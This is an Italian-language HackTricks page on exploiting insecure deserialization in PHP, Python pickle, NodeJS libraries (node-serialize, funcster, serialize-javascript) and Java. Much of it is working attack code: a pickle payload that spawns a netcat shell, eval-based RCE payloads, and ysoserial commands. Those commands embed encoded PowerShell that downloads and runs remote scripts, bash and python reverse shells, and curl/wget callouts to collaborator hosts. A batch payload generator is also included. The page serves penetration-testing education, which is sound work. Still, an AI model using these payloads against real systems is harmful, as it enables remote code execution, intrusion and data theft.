mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
931 lines
58 KiB
Markdown
931 lines
58 KiB
Markdown
# Deserializzazione
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Informazioni di Base
|
|
|
|
**La serializzazione** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e stato.
|
|
|
|
**La deserializzazione**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
|
|
|
|
La deserializzazione può essere pericolosa perché **permette potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
|
|
|
## PHP
|
|
|
|
In PHP, specifici metodi magici sono utilizzati durante i processi di serializzazione e deserializzazione:
|
|
|
|
* `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che dovrebbero essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
|
|
* `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
|
|
* `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
|
* `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
|
|
* `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
|
|
```php
|
|
<?php
|
|
class test {
|
|
public $s = "This is a test";
|
|
public function displaystring(){
|
|
echo $this->s.'<br />';
|
|
}
|
|
public function __toString()
|
|
{
|
|
echo '__toString method called';
|
|
}
|
|
public function __construct(){
|
|
echo "__construct method called";
|
|
}
|
|
public function __destruct(){
|
|
echo "__destruct method called";
|
|
}
|
|
public function __wakeup(){
|
|
echo "__wakeup method called";
|
|
}
|
|
public function __sleep(){
|
|
echo "__sleep method called";
|
|
return array("s"); #The "s" makes references to the public attribute
|
|
}
|
|
}
|
|
|
|
$o = new test();
|
|
$o->displaystring();
|
|
$ser=serialize($o);
|
|
echo $ser;
|
|
$unser=unserialize($ser);
|
|
$unser->displaystring();
|
|
|
|
/*
|
|
php > $o = new test();
|
|
__construct method called
|
|
__destruct method called
|
|
php > $o->displaystring();
|
|
This is a test<br />
|
|
|
|
php > $ser=serialize($o);
|
|
__sleep method called
|
|
|
|
php > echo $ser;
|
|
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
|
|
|
php > $unser=unserialize($ser);
|
|
__wakeup method called
|
|
__destruct method called
|
|
|
|
php > $unser->displaystring();
|
|
This is a test<br />
|
|
*/
|
|
?>
|
|
```
|
|
Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare un attributo, ma apparentemente **non sta più accadendo**.
|
|
|
|
{% hint style="warning" %}
|
|
Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
|
|
```php
|
|
class MyClass {
|
|
private $property;
|
|
|
|
public function __unserialize(array $data): void {
|
|
$this->property = $data['property'];
|
|
// Perform any necessary tasks upon deserialization.
|
|
}
|
|
}
|
|
```
|
|
{% endhint %}
|
|
|
|
Puoi leggere un esempio **PHP spiegato qui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), qui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o qui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
|
|
|
### PHP Deserial + Autoload Classi
|
|
|
|
Potresti abusare della funzionalità di autoload di PHP per caricare file php arbitrari e altro:
|
|
|
|
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
|
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Serializzazione di Valori Referenziati
|
|
|
|
Se per qualche motivo vuoi serializzare un valore come una **riferimento a un altro valore serializzato** puoi:
|
|
```php
|
|
<?php
|
|
class AClass {
|
|
public $param1;
|
|
public $param2;
|
|
}
|
|
|
|
$o = new WeirdGreeting;
|
|
$o->param1 =& $o->param22;
|
|
$o->param = "PARAM";
|
|
$ser=serialize($o);
|
|
```
|
|
### PHPGGC (ysoserial per PHP)
|
|
|
|
[**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per abusare delle deserializzazioni PHP.\
|
|
Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice delle estensioni PHP esterne.**\
|
|
Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadgets** di **PHPGGC**) alcuni possibili gadget che potresti abusare.
|
|
|
|
### deserializzazione dei metadati phar://
|
|
|
|
Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puoi provare ad abusare di una **deserializzazione** che si verifica quando **leggi** un **file** utilizzando il protocollo **phar**.\
|
|
Per ulteriori informazioni leggi il seguente post:
|
|
|
|
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
|
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Python
|
|
|
|
### **Pickle**
|
|
|
|
Quando l'oggetto viene deserializzato, la funzione _\_\_reduce\_\__ verrà eseguita.\
|
|
Quando sfruttato, il server potrebbe restituire un errore.
|
|
```python
|
|
import pickle, os, base64
|
|
class P(object):
|
|
def __reduce__(self):
|
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
|
print(base64.b64encode(pickle.dumps(P())))
|
|
```
|
|
Prima di controllare la tecnica di bypass, prova a usare `print(base64.b64encode(pickle.dumps(P(),2)))` per generare un oggetto compatibile con python2 se stai eseguendo python3.
|
|
|
|
Per ulteriori informazioni su come evadere da **pickle jails** controlla:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Yaml **&** jsonpickle
|
|
|
|
La pagina seguente presenta la tecnica per **abuse un'unsafe deserialization nelle librerie python yamls** e termina con uno strumento che può essere utilizzato per generare payload di deserializzazione RCE per **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
|
|
|
{% content-ref url="python-yaml-deserialization.md" %}
|
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Class Pollution (Python Prototype Pollution)
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
|
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
|
{% endcontent-ref %}
|
|
|
|
## NodeJS
|
|
|
|
### JS Magic Functions
|
|
|
|
JS **non ha funzioni "magiche"** come PHP o Python che vengono eseguite solo per creare un oggetto. Ma ha alcune **funzioni** che sono **frequentemente usate anche senza chiamarle direttamente** come **`toString`**, **`valueOf`**, **`toJSON`**.\
|
|
Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti del prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
|
|
|
|
Un altro **modo "magico" per chiamare una funzione** senza chiamarla direttamente è **compromettendo un oggetto restituito da una funzione async** (promise). Perché, se **trasformi** quell'**oggetto di ritorno** in un'altra **promise** con una **proprietà** chiamata **"then" di tipo funzione**, verrà **eseguito** solo perché è restituito da un'altra promise. _Segui_ [_**questo link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _per ulteriori informazioni._
|
|
```javascript
|
|
// If you can compromise p (returned object) to be a promise
|
|
// it will be executed just because it's the return object of an async function:
|
|
async function test_resolve() {
|
|
const p = new Promise(resolve => {
|
|
console.log('hello')
|
|
resolve()
|
|
})
|
|
return p
|
|
}
|
|
|
|
async function test_then() {
|
|
const p = new Promise(then => {
|
|
console.log('hello')
|
|
return 1
|
|
})
|
|
return p
|
|
}
|
|
|
|
test_ressolve()
|
|
test_then()
|
|
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
|
```
|
|
### `__proto__` e inquinamento di `prototype`
|
|
|
|
Se vuoi imparare su questa tecnica **dai un'occhiata al seguente tutorial**:
|
|
|
|
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
|
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
|
{% endcontent-ref %}
|
|
|
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
|
|
|
Questa libreria consente di serializzare funzioni. Esempio:
|
|
```javascript
|
|
var y = {
|
|
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
|
}
|
|
var serialize = require('node-serialize');
|
|
var payload_serialized = serialize.serialize(y);
|
|
console.log("Serialized: \n" + payload_serialized);
|
|
```
|
|
L'**oggetto serializzato** apparirà come:
|
|
```bash
|
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
|
```
|
|
Puoi vedere nell'esempio che quando una funzione è serializzata, il flag `_$$ND_FUNC$$_` viene aggiunto all'oggetto serializzato.
|
|
|
|
All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso flag e come il codice lo utilizza.
|
|
|
|
![](<../../.gitbook/assets/image (351).png>)
|
|
|
|
![](<../../.gitbook/assets/image (446).png>)
|
|
|
|
Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
|
|
|
Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
|
|
Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** in modo da eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
|
Nel prossimo blocco di codice **nota l'ultima parentesi** e come la funzione `unserialize` eseguirà automaticamente il codice:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
|
serialize.unserialize(test);
|
|
```
|
|
Come indicato in precedenza, questa libreria otterrà il codice dopo `_$$ND_FUNC$$_` e **lo eseguirà** utilizzando `eval`. Pertanto, per **eseguire automaticamente il codice** puoi **eliminare la parte di creazione della funzione** e l'ultima parentesi e **eseguire semplicemente un oneliner JS** come nel seguente esempio:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
|
serialize.unserialize(test);
|
|
```
|
|
Puoi [**trovare qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **ulteriori informazioni** su come sfruttare questa vulnerabilità.
|
|
|
|
### [funcster](https://www.npmjs.com/package/funcster)
|
|
|
|
Un aspetto notevole di **funcster** è l'inaccessibilità degli **oggetti standard incorporati**; essi rientrano al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi su oggetti incorporati, portando a eccezioni come `"ReferenceError: console is not defined"` quando vengono utilizzati comandi come `console.log()` o `require(something)`.
|
|
|
|
Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può eludere questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento:
|
|
```javascript
|
|
funcster = require("funcster");
|
|
//Serialization
|
|
var test = funcster.serialize(function() { return "Hello world!" })
|
|
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
|
|
|
//Deserialization with auto-execution
|
|
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
|
funcster.deepDeserialize(desertest1)
|
|
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
|
|
funcster.deepDeserialize(desertest2)
|
|
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
|
funcster.deepDeserialize(desertest3)
|
|
```
|
|
**Per**[ **maggiori informazioni leggi questa fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
|
|
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
|
|
|
Il pacchetto **serialize-javascript** è progettato esclusivamente per scopi di serializzazione, mancando di qualsiasi capacità di deserializzazione integrata. Gli utenti sono responsabili dell'implementazione del proprio metodo per la deserializzazione. Un uso diretto di `eval` è suggerito dall'esempio ufficiale per deserializzare i dati serializzati:
|
|
```javascript
|
|
function deserialize(serializedJavascript){
|
|
return eval('(' + serializedJavascript + ')');
|
|
}
|
|
```
|
|
Se questa funzione viene utilizzata per deserializzare oggetti, puoi **sfruttarla facilmente**:
|
|
```javascript
|
|
var serialize = require('serialize-javascript');
|
|
//Serialization
|
|
var test = serialize(function() { return "Hello world!" });
|
|
console.log(test) //function() { return "Hello world!" }
|
|
|
|
//Deserialization
|
|
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
|
deserialize(test)
|
|
```
|
|
**Per**[ **maggiori informazioni leggi questa fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
|
|
|
### Cryo library
|
|
|
|
Nelle pagine seguenti puoi trovare informazioni su come abusare di questa libreria per eseguire comandi arbitrari:
|
|
|
|
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
|
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
|
|
|
## Java - HTTP
|
|
|
|
In Java, **i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione**. Questa esecuzione può essere sfruttata da attaccanti che creano payload dannosi che attivano questi callback, portando a potenziali esecuzioni di azioni dannose.
|
|
|
|
### Fingerprints
|
|
|
|
#### White Box
|
|
|
|
Per identificare potenziali vulnerabilità di serializzazione nel codice, cerca:
|
|
|
|
* Classi che implementano l'interfaccia `Serializable`.
|
|
* Utilizzo delle funzioni `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
|
|
|
Fai particolare attenzione a:
|
|
|
|
* `XMLDecoder` utilizzato con parametri definiti da utenti esterni.
|
|
* Il metodo `fromXML` di `XStream`, specialmente se la versione di XStream è minore o uguale a 1.46, poiché è suscettibile a problemi di serializzazione.
|
|
* `ObjectInputStream` accoppiato con il metodo `readObject`.
|
|
* Implementazione di metodi come `readObject`, `readObjectNodData`, `readResolve` o `readExternal`.
|
|
* `ObjectInputStream.readUnshared`.
|
|
* Uso generale di `Serializable`.
|
|
|
|
#### Black Box
|
|
|
|
Per il testing black box, cerca specifiche **firme o "Magic Bytes"** che denotano oggetti serializzati java (provenienti da `ObjectInputStream`):
|
|
|
|
* Modello esadecimale: `AC ED 00 05`.
|
|
* Modello Base64: `rO0`.
|
|
* Intestazioni di risposta HTTP con `Content-type` impostato su `application/x-java-serialized-object`.
|
|
* Modello esadecimale che indica una compressione precedente: `1F 8B 08 00`.
|
|
* Modello Base64 che indica una compressione precedente: `H4sIA`.
|
|
* File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla deserializzazione di Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
|
```
|
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
|
```
|
|
### Controlla se vulnerabile
|
|
|
|
Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Deserializzazione Java di Base**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializzazione DNS Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
|
|
|
#### Test White Box
|
|
|
|
Puoi controllare se è installata qualche applicazione con vulnerabilità note.
|
|
```bash
|
|
find . -iname "*commons*collection*"
|
|
grep -R InvokeTransformer .
|
|
```
|
|
You could try to **controllare tutte le librerie** note per essere vulnerabili e che [**Ysoserial** ](https://github.com/frohoff/ysoserial)può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
|
Potresti anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
|
|
Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutti i risultati sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
|
|
|
#### Black Box Test
|
|
|
|
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e anche le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
|
[**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
|
GadgetProbe è focalizzato su **`ObjectInputStream` deserializzazioni**.
|
|
|
|
Utilizzando l'estensione Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puoi **identificare librerie vulnerabili** sfruttabili con ysoserial e **sfruttarle**.\
|
|
[**Leggi questo per saperne di più su Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
|
Java Deserialization Scanner è focalizzato su **`ObjectInputStream`** deserializzazioni.
|
|
|
|
Puoi anche usare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà **non solo vulnerabilità** relative a **`ObjectInputStream`** ma **anche** vulnerabilità da librerie di deserializzazione **Json** e **Yml**. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.\
|
|
[**Puoi trovare ulteriori informazioni su Freddy qui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
|
|
|
**Serialization Test**
|
|
|
|
Non si tratta solo di controllare se qualche libreria vulnerabile è utilizzata dal server. A volte potresti essere in grado di **cambiare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (forse concederti privilegi di amministratore all'interno di un'app web).\
|
|
Se trovi un oggetto Java serializzato inviato a un'applicazione web, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'uomo l'oggetto di serializzazione che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
|
|
|
### **Exploit**
|
|
|
|
#### **ysoserial**
|
|
|
|
Lo strumento principale per sfruttare le deserializzazioni Java è [**ysoserial**](https://github.com/frohoff/ysoserial) ([**scarica qui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Puoi anche considerare di usare [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) che ti permetterà di usare comandi complessi (con pipe ad esempio).\
|
|
Nota che questo strumento è **focalizzato** sull'esploitazione di **`ObjectInputStream`**.\
|
|
Inizierei **usando il payload "URLDNS"** **prima di un payload RCE** per testare se l'iniezione è possibile. Comunque, nota che forse il payload "URLDNS" non funziona ma un altro payload RCE sì.
|
|
```bash
|
|
# PoC to make the application perform a DNS req
|
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
|
|
|
# PoC RCE in Windows
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
|
# Time, I noticed the response too longer when this was used
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
|
# Create File
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
|
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
|
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
|
# Reverse Shell
|
|
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
|
|
|
#PoC RCE in Linux
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
|
# Time
|
|
## Using time in bash I didn't notice any difference in the timing of the response
|
|
# Create file
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# Reverse shell
|
|
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
|
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
|
|
|
# Base64 encode payload in base64
|
|
base64 -w0 payload
|
|
```
|
|
Quando crei un payload per **java.lang.Runtime.exec()** non **puoi usare caratteri speciali** come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche **passare argomenti** a un comando separati da **spazi** (puoi fare `echo -n "hello world"` ma non puoi fare `python2 -c 'print "Hello world"'`). Per codificare correttamente il payload potresti [usare questa pagina web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
|
|
|
Sentiti libero di usare il prossimo script per creare **tutti i possibili payload di esecuzione del codice** per Windows e Linux e poi testarli sulla pagina web vulnerabile:
|
|
```python
|
|
import os
|
|
import base64
|
|
|
|
# You may need to update the payloads
|
|
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
|
def generate(name, cmd):
|
|
for payload in payloads:
|
|
final = cmd.replace('REPLACE', payload)
|
|
print 'Generating ' + payload + ' for ' + name + '...'
|
|
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
|
result = command.read()
|
|
command.close()
|
|
encoded = base64.b64encode(result)
|
|
if encoded != "":
|
|
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
|
|
|
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
|
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|
```
|
|
#### serialkillerbypassgadgets
|
|
|
|
